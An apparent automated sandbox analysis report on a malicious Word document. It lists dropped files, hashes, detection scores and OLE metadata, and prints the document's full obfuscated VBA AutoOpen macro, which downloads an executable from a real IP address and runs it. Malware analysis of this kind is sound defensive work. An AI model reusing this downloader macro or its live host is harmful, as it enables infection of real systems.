                                                                                                                                                        SSDEEP:24576:EH26y3URPcxdnFQ+MyuPytjUEbnVEeOO1ss45cY2/Ies/apqxHZk:EPauPytNbVEyuHi
                                                                                                                                                        MD5:8D3E16CB3CE3940E87A322FBEEAB419F
                                                                                                                                                        SHA1:5A1E2A3E55B6D8E77F6B038E171034D50A5B97D9
                                                                                                                                                        SHA-256:D3155FCF6F052606BC5F0C293AA6EE43D27BF7990713863E2DD23AB870FBB0BF
                                                                                                                                                        SHA-512:683329D2B9C7AED5C2F03572503C601A866DD3C28C4292BCE4453AFC509458B20D7183729D284D1961FE3B126B8312712FC4903B8A1D41AB9738DC49455F5911
                                                                                                                                                        Malicious:true
                                                                                                                                                        Antivirus:
                                                                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 47%
                                                                                                                                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*................."..........p7.......@....@..............................................@...............................%...p...&......................Lq..................................................................................text............................... ..`.itext.......0...................... ..`.data...`....@... ...&..............@....bss.....6...`.......F...................idata...%.......&...F..............@....tls....4............l...................rdata...............l..............@..@.reloc..Lq.......r...n..............@..B.rsrc....&...p...&..................@..@....................................@..@................................................................................................

                                                                                                                                                        C:\Users\Public\Libraries\YKA

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):4
                                                                                                                                                        Entropy (8bit):2.0
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:Wy:Wy
                                                                                                                                                        MD5:F04B5F5116702DD78F84BC0691B54352
                                                                                                                                                        SHA1:8B16E4D626345103B2EB030D2F2ED290BA25EFE6
                                                                                                                                                        SHA-256:A7022F0D180485ABD34C3F24D8E49CC248054679E3554EBE524BAFA6C34A8AFE
                                                                                                                                                        SHA-512:0BE2AA109D44DF7E7A535E2F35AA2904ECDCD51C8974A68BB5D092A0107B546D472CE06F9EC70E17CB8B4BBD13627B9645E082AEF523A69BB8D72FC07640E55E
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview:34..

                                                                                                                                                        C:\Users\Public\Libraries\npratlsN.pif

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):175800
                                                                                                                                                        Entropy (8bit):6.631791793070417
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
                                                                                                                                                        MD5:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                        SHA1:2A001C30BA79A19CEAF6A09C3567C70311760AA4
                                                                                                                                                        SHA-256:BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
                                                                                                                                                        SHA-512:C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
                                                                                                                                                        Malicious:true
                                                                                                                                                        Antivirus:
                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 3%
                                                                                                                                                        Joe Sandbox View:
                                                                                                                                                        • Filename: PO#3_RKG367.bat, Detection: malicious, Browse
                                                                                                                                                        • Filename: ENQ-0092025.doc, Detection: malicious, Browse
                                                                                                                                                        • Filename: yxU3AgeVTi.exe, Detection: malicious, Browse
                                                                                                                                                        • Filename: ITT # KRPBV2663 .doc, Detection: malicious, Browse
                                                                                                                                                        • Filename: PI ITS15235.doc, Detection: malicious, Browse
                                                                                                                                                        • Filename: PO#5_Tower_049.bat, Detection: malicious, Browse
                                                                                                                                                        • Filename: HSBC_PAY.SCR.exe, Detection: malicious, Browse
                                                                                                                                                        • Filename: PO_B2W984.com, Detection: malicious, Browse
                                                                                                                                                        • Filename: image.exe, Detection: malicious, Browse
                                                                                                                                                        • Filename: PO_KB#67897.cmd, Detection: malicious, Browse
                                                                                                                                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............|..8...,...@...@..@

                                                                                                                                                        C:\Users\Public\Nsltarpn.url

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Nsltarpn.PIF">), ASCII text, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):104
                                                                                                                                                        Entropy (8bit):5.111014478274286
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:HRAbABGQYmTWAX+rSF55i0XMWJREXVLBCSsbx3A+:HRYFVmTWDyzsVLBCSExw+
                                                                                                                                                        MD5:FEE11E949D8E9EFA33E6224D90CD489B
                                                                                                                                                        SHA1:A8898BB3F65B8D65FBB43D2783BD5DCD38DB8122
                                                                                                                                                        SHA-256:DA19F8C2081627D16DFE6E31CCB375670F4C9EF57761722345AD1CF3099CD7DB
                                                                                                                                                        SHA-512:7493EF75ECABEB80E2603DF112D49A16D231F6A2855734BB3E7DF3483B7349B62526778B4159C1537AA87FF0F6352AEDB38F63DF220BC998D597A1A6FC5F991A
                                                                                                                                                        Malicious:true
                                                                                                                                                        Preview:[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Nsltarpn.PIF"..IconIndex=925987..HotKey=51..

                                                                                                                                                        C:\Users\Public\NsltarpnF.cmd

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):11278
                                                                                                                                                        Entropy (8bit):4.653311201735178
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:192:aMDConKxnlt4iVNt4BIvf6hJyMCdvWr3YGjZq3W4ERrr83hGgPKnrJTFlmwu26:BDWxl+mymfbMAM83WMgguTFlj96
                                                                                                                                                        MD5:F82AEB3B12F33250E404DF6EC873DD1D
                                                                                                                                                        SHA1:BCF538F64457E8D19DA89229479CAFA9C4CCE12F
                                                                                                                                                        SHA-256:23B7417B47C7EFB96FB7CE395E325DC831AB2EE03EADDA59058D31BDBE9C1EA6
                                                                                                                                                        SHA-512:6F9D6DAEED78F45F0F83310B95F47CC0A96D1DB1D7F6C2E2485D7A8ECB04FEE9865EEC3599FEE2D67F3332F68A70059F1A6A40050B93EF44D55632C24D108977
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview:@echo off..@%..%e%....%c% .%h%.. ......%o%.o.....o..% %.........%o%....r....%f%.o........%f%.....%..s%..... ...%e% r.r.. ...%t%..........% %.... %"%.......%I%..........%F%..%X%o....r..%Q%...o.%=%. ...%s%o..%e%... %t%. o. .% %..%"%..%..%IFXQ%"%..%w%..%S%..... .%c%.....%t%..r.......%=%.%=%....%"%.....%..%IFXQ%"%or.....%d%.........%s%...%b%o.r%m% .....r...%U% .. ..o...%U%.o%u%.... .%r%.........%v%...r..%s%...... ...%%wSct%C%.......%l%..r.%o%....%a%..r....r%"%.....o....%..%IFXQ%"%... .o...%y% %h%r.%R%....

                                                                                                                                                        C:\Users\user\AppData\Local\Temp\~DF4C5EFADB8A33A5FF.TMP

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):512
                                                                                                                                                        Entropy (8bit):0.0
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3::
                                                                                                                                                        MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                        SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                        SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                        SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                        C:\Users\user\Desktop\~$ ITS15235.doc

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):162
                                                                                                                                                        Entropy (8bit):2.719445346345922
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:KVGl/lilKlRAGlz+ltntn/lfllPX+kT+:KVy/4KDZmntnJ+ky
                                                                                                                                                        MD5:714B323AF3D3CA8C7F04D0B66C564559
                                                                                                                                                        SHA1:11DA82BA536EBD0E9A0719D9DFFDD526B14A5A72
                                                                                                                                                        SHA-256:46A011FE1785910B58A2D3C44B30C2EDB8EAB9362024129408114D7E49D21B85
                                                                                                                                                        SHA-512:D86F7BE5DCF19F6B871C608C30AA510B75E5C74FFE2C990D0C186AB2072632D44ADA2D66C4F24112D0BFB9D0C7419ADC7B011A6E50864E4EE974E057EC45C934
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview:.user..................................................j.o.n.e.s.....h................)..a.i............................................f..$..}..i.........=.i

                                                                                                                                                        C:\Windows \SysWOW64\NETUTILS.dll

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):119033
                                                                                                                                                        Entropy (8bit):5.148072354937474
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:1536:BDzIi47phID3zvyDXthSmsVBc2w5jEjISsnEICl7MbiRwRkSYJQ:BDz47pq/6hShc2ljISsnEGRkSYJQ
                                                                                                                                                        MD5:A88976A70AED45F610A032E438A82A95
                                                                                                                                                        SHA1:EC20B0F0D6CCC848C8FFA857AB4E771672DFA4F2
                                                                                                                                                        SHA-256:F3D5A6EBCD8CAB3CC9A98488B23C2DE740C6EF04E33ED317A3E2A047D53D169B
                                                                                                                                                        SHA-512:EC77BB81B9E6DE4AF8A17EB26281D10FC9A05947D588F2EE3680ADA67ED28118FBC9A2D0E63BF0ECC2A4C318555A4F27E72ECF1A530A506E9B4FBF5EFDB4F676
                                                                                                                                                        Malicious:true
                                                                                                                                                        Antivirus:
                                                                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 29%
                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......g.d........& .....(...$................<a.............................0.......s........ .........................................@....................`..p...............\........................... ...(.................................................... ....'.......(.................. .P`. ...P....@......................@.p.. .......P.......4..............@.P@. ..p....`.......:..............@.0@. ..0....p.......>..............@.0@. ..................................p.. ..@............B..............@.0@. ...............D..............@.0.. ....X............L..............@.@.. ....h............N..............@.`.. ..\............P..............@.0B/4...................R..............@.PB/19..................V..............@..B/31.....%...........................@..B/45.....q...........................@..B/57.....

                                                                                                                                                        C:\Windows \SysWOW64\svchost.pif

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Windows\SysWOW64\brightness.exe
                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):96448
                                                                                                                                                        Entropy (8bit):5.1636650991276305
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:1536:dhJfbGY/Bn623Kvv0IzGJyyu2xXibswbTYTjULf1YrfspZPgpzF:dhJfbG6B6yKvv0uWyyu2xXibswbQjUjs
                                                                                                                                                        MD5:869640D0A3F838694AB4DFEA9E2F544D
                                                                                                                                                        SHA1:BDC42B280446BA53624FF23F314AADB861566832
                                                                                                                                                        SHA-256:0DB4D3FFDB96D13CF3B427AF8BE66D985728C55AE254E4B67D287797E4C0B323
                                                                                                                                                        SHA-512:6E775CFB350415434B18427D5FF79B930ED3B0B3FC3466BC195A796C95661D4696F2D662DD0E020C3A6C3419C2734468B1D7546712ECEC868D2BBFD2BC2468A7
                                                                                                                                                        Malicious:false
                                                                                                                                                        Antivirus:
                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R#.<p.<p.<p..p.<p..?q.<p..9q.<p..=q.<p.=p..<p..4q.<p..8q.<p...p.<p..>q.<pRich.<p........................PE..d....C~..........."............................@.............................`....................... ...............................................@....... ..<....P...(...P..`.......T...........................0...@...........p...........`....................text.............................. ..`.imrsiv..................................rdata...[.......`..................@..@.data...............................@....pdata..<.... ......................@..@.didat..0....0....... ..............@....rsrc........@.......0..............@..@.reloc..`....P.......@..............@..B........................................................................................................................................................................

                                                                                                                                                        C:\Windows\SysWOW64\brightness.exe

                                                                                                                                                        Download File
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
                                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):1443328
                                                                                                                                                        Entropy (8bit):7.456059208646829
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:24576:EH26y3URPcxdnFQ+MyuPytjUEbnVEeOO1ss45cY2/Ies/apqxHZk:EPauPytNbVEyuHi
                                                                                                                                                        MD5:8D3E16CB3CE3940E87A322FBEEAB419F
                                                                                                                                                        SHA1:5A1E2A3E55B6D8E77F6B038E171034D50A5B97D9
                                                                                                                                                        SHA-256:D3155FCF6F052606BC5F0C293AA6EE43D27BF7990713863E2DD23AB870FBB0BF
                                                                                                                                                        SHA-512:683329D2B9C7AED5C2F03572503C601A866DD3C28C4292BCE4453AFC509458B20D7183729D284D1961FE3B126B8312712FC4903B8A1D41AB9738DC49455F5911
                                                                                                                                                        Malicious:true
                                                                                                                                                        Antivirus:
                                                                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 47%
                                                                                                                                                        Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*................."..........p7.......@....@..............................................@...............................%...p...&......................Lq..................................................................................text............................... ..`.itext.......0...................... ..`.data...`....@... ...&..............@....bss.....6...`.......F...................idata...%.......&...F..............@....tls....4............l...................rdata...............l..............@..@.reloc..Lq.......r...n..............@..B.rsrc....&...p...&..................@..@....................................@..@................................................................................................

                                                                                                                                                        Static File Info

                                                                                                                                                        General

                                                                                                                                                        File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: GRACE, Template: Normal.dotm, Last Saved By: GRACE, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jan 13 01:17:00 2025, Last Saved Time/Date: Mon Jan 13 01:17:00 2025, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
                                                                                                                                                        Entropy (8bit):7.058129864340311
                                                                                                                                                        TrID:
                                                                                                                                                        • Microsoft Word document (32009/1) 54.23%
                                                                                                                                                        • Microsoft Word document (old ver.) (19008/1) 32.20%
                                                                                                                                                        • Generic OLE2 / Multistream Compound File (8008/1) 13.57%
                                                                                                                                                        File name:PI ITS15235.doc
                                                                                                                                                        File size:146'944 bytes
                                                                                                                                                        MD5:c8e60db8174345c243187675d4c760de
                                                                                                                                                        SHA1:34bdd0903708f1ab747cbb45a6a292517e1df83e
                                                                                                                                                        SHA256:94519fee9d47fd0262d1dd50e0bf20ea7cb0962b3a1e1de217c5f462b0633fab
                                                                                                                                                        SHA512:ae643f21123ef8514bf4ac405f0f385534b7d87fa681669d8bc276b81cecfce0e4660843aa442ec52882ca66e8f7cf80c3952bd0fc039ac5dc0d8047b970e769
                                                                                                                                                        SSDEEP:1536:L7dgmjjy2lQkySTUb2roegTK+g9WomfaQjSqttJnkL5mS9kBwNR42q8Z:LZPjbTU+J799IjSqtteL5N9kBF2
                                                                                                                                                        TLSH:D0E3C447A9448B47E03493B5BE435FAD2F197E0CA9866AEF11273E9B3D302324D4E16D
                                                                                                                                                        File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                                                                                        File Icon

                                                                                                                                                        Icon Hash:35e1cc889a8a8599

                                                                                                                                                        Static OLE Info

                                                                                                                                                        General

                                                                                                                                                        Document Type:OLE
                                                                                                                                                        Number of OLE Files:1

                                                                                                                                                        OLE File "PI ITS15235.doc"

                                                                                                                                                        Indicators
                                                                                                                                                        Has Summary Info:
                                                                                                                                                        Application Name:Microsoft Office Word
                                                                                                                                                        Encrypted Document:False
                                                                                                                                                        Contains Word Document Stream:True
                                                                                                                                                        Contains Workbook/Book Stream:False
                                                                                                                                                        Contains PowerPoint Document Stream:False
                                                                                                                                                        Contains Visio Document Stream:False
                                                                                                                                                        Contains ObjectPool Stream:False
                                                                                                                                                        Flash Objects Count:0
                                                                                                                                                        Contains VBA Macros:True
                                                                                                                                                        Summary
                                                                                                                                                        Code Page:1252
                                                                                                                                                        Title:
                                                                                                                                                        Subject:
                                                                                                                                                        Author:GRACE
                                                                                                                                                        Keywords:
                                                                                                                                                        Comments:
                                                                                                                                                        Template:Normal.dotm
                                                                                                                                                        Last Saved By:GRACE
                                                                                                                                                        Revion Number:2
                                                                                                                                                        Total Edit Time:0
                                                                                                                                                        Create Time:2025-01-13 01:17:00
                                                                                                                                                        Last Saved Time:2025-01-13 01:17:00
                                                                                                                                                        Number of Pages:1
                                                                                                                                                        Number of Words:0
                                                                                                                                                        Number of Characters:1
                                                                                                                                                        Creating Application:Microsoft Office Word
                                                                                                                                                        Security:0
                                                                                                                                                        Document Summary
                                                                                                                                                        Document Code Page:1252
                                                                                                                                                        Number of Lines:1
                                                                                                                                                        Number of Paragraphs:1
                                                                                                                                                        Thumbnail Scaling Desired:False
                                                                                                                                                        Company:
                                                                                                                                                        Contains Dirty Links:False
                                                                                                                                                        Shared Document:False
                                                                                                                                                        Changed Hyperlinks:False
                                                                                                                                                        Application Version:983040

                                                                                                                                                        Streams with VBA

                                                                                                                                                        VBA File Name: ThisDocument.cls, Stream Size: 4807
                                                                                                                                                        General
                                                                                                                                                        Stream Path:Macros/VBA/ThisDocument
                                                                                                                                                        VBA File Name:ThisDocument.cls
                                                                                                                                                        Stream Size:4807
                                                                                                                                                        Data ASCII:. . . . . . . . V . . . . . . . . . ] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S " . . . . S . . . . . S " . . . . . < . . . . . . . . . . ( . 1 . N . o . r . m . a . l . . . T . h . i . s
                                                                                                                                                        Data Raw:01 16 01 00 01 f0 00 00 00 56 05 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 5d 05 00 00 81 0f 00 00 00 00 00 00 01 00 00 00 af 08 89 e1 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                        VBA Code
                                                                                                                                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 
Dim xHttp:
'this is a comment



Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")
'this is a comment
Dim bStrm:
'this is a comment
Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")



Dim nirm1
nirm1 = "h"
Dim nirm2
nirm2 = "t"
Dim nirm3
nirm3 = "t" & "p:/" & "/147.124.216.113/albt"
Dim nirm4
nirm4 = "."
Dim nirm5
nirm5 = "e"
Dim nirm6
nirm6 = "x"
Dim nirm7
nirm7 = "e"



Dim plpl
plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

'this is a comment
xHttp.Open "GET", plpl, False
xHttp.Send




 
With bStrm
 .Type = 1
.Open
 .write xHttp.responsebody
 
 'this is a comment
 
Dim monu1
 monu1 = "brightness"
 Dim monu2
 monu2 = "."
 'this is a comment
 Dim monu3
 monu3 = "e"
 'this is a comment
 Dim monu4
 monu4 = "x"
 'this is a comment
 Dim monu5
 monu5 = "e"
 'this is a comment
 Dim monu6
 monu6 = monu1 & monu2 & monu3 & monu4 & monu5
 
 
 .savetofile monu6, 2


Dim parveen1
Dim parveen2
Dim parveen3
Dim parveen4
Dim praveen1
praveen1 = """brightness"
Dim praveen2
praveen2 = "."
'this is a comment
Dim praveen3
praveen3 = "e"
'this is a comment
Dim praveen4
praveen4 = "x"
'this is a comment
Dim praveen5
praveen5 = "e"""
'this is a comment



Dim praveen6
praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
 


End With
 
Shell (praveen6)
 
End Sub

                                                                                                                                                        Streams

                                                                                                                                                        Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                                                                                                                                                        General
                                                                                                                                                        Stream Path:\x1CompObj
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:114
                                                                                                                                                        Entropy:4.235956365095031
                                                                                                                                                        Base64 Encoded:True
                                                                                                                                                        Data ASCII:. . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . 9 q . . . . . . . . . . . .
                                                                                                                                                        Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                        Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                        General
                                                                                                                                                        Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:4096
                                                                                                                                                        Entropy:0.24379920956187054
                                                                                                                                                        Base64 Encoded:False
                                                                                                                                                        Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
                                                                                                                                                        Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00
                                                                                                                                                        Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                        General
                                                                                                                                                        Stream Path:\x5SummaryInformation
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:4096
                                                                                                                                                        Entropy:0.4501471290353457
                                                                                                                                                        Base64 Encoded:False
                                                                                                                                                        Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G R A C E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N o r m a
                                                                                                                                                        Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 ec 00 00 00 09 00 00 00 fc 00 00 00
                                                                                                                                                        Stream Path: 1Table, File Type: data, Stream Size: 7011
                                                                                                                                                        General
                                                                                                                                                        Stream Path:1Table
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:data
                                                                                                                                                        Stream Size:7011
                                                                                                                                                        Entropy:5.872404663492899
                                                                                                                                                        Base64 Encoded:True
                                                                                                                                                        Data ASCII:. . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
                                                                                                                                                        Data Raw:0a 06 0f 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
                                                                                                                                                        Stream Path: Data, File Type: dBase III DBT, version number 0, next free block index 113648, 1st item "TRC", Stream Size: 113648
                                                                                                                                                        General
                                                                                                                                                        Stream Path:Data
                                                                                                                                                        CLSID:
                                                                                                                                                        File Type:dBase III DBT, version number 0, next free block index 113648, 1st item "TRC"
                                                                                                                                                        Stream Size:113648
                                                                                                                                                        Entropy:7.649735788267893
                                                                                                                                                        Base64 Encoded:True
                                                                                                                                                        Data ASCII:. . D . d . . . . . . . . . . . . . . . . . . . . . / = ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . s . . > . . . . . . . . A . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . P . i . c . t . u . r . e . . 1 . . . . . " . . . . . . . . . . . . . . . . . . . R . . , . . . . Z . . 7 J 2 9 ( . . . . . . . . D . . . . . . F . . . . Z . . 7 J 2 9 ( . . J F I F . . . . . . . . . I C C _ P R O F I L E . . . . . . . . . . . . . . . m n
                                                                                                                                                        Data Raw:f0 bb 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2f e0 3d 60 03 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 70 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 73 00 0b f0 3e 00 00 00 7f 00 80 00 e1 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
                                                                                                                                                        Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 374
                                                                                                                                                        General
